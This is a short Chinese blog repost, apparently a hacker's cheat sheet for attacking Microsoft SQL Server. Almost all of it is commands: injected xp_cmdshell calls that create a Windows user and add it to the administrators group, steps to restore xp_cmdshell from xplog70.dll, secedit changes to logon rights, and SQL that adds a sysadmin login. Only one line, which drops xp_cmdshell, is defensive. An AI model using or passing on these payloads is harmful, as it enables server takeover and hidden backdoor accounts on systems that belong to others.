来源:[url]http://neeao.com[/url];exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup administrators name /add"--程序代码开启cmdshell的SQL语句EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'判断存储扩展是否存在select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK恢复xp_cmdshellExec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK否则上传xplog7.0.dllExec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'堵上cmdshell的SQL语句sp_dropextendedproc "xp_cmdshell"DOS:dir c:/dir d:/dir e:/net user TsInternetUsers Password /addnet localGroup Administrators TsInternetUsers /add备份恢复IPSECsecedit /export /CFG c:/tmp.infecho sedenynetworklogonright =>>c:/tmp.infsecedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.infSQL:exec master..sp_addlogin UserName,Passwordexec master..sp_addsrvrolemember UserName,sysadmin
本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8400 ,如需转载请自行联系原作者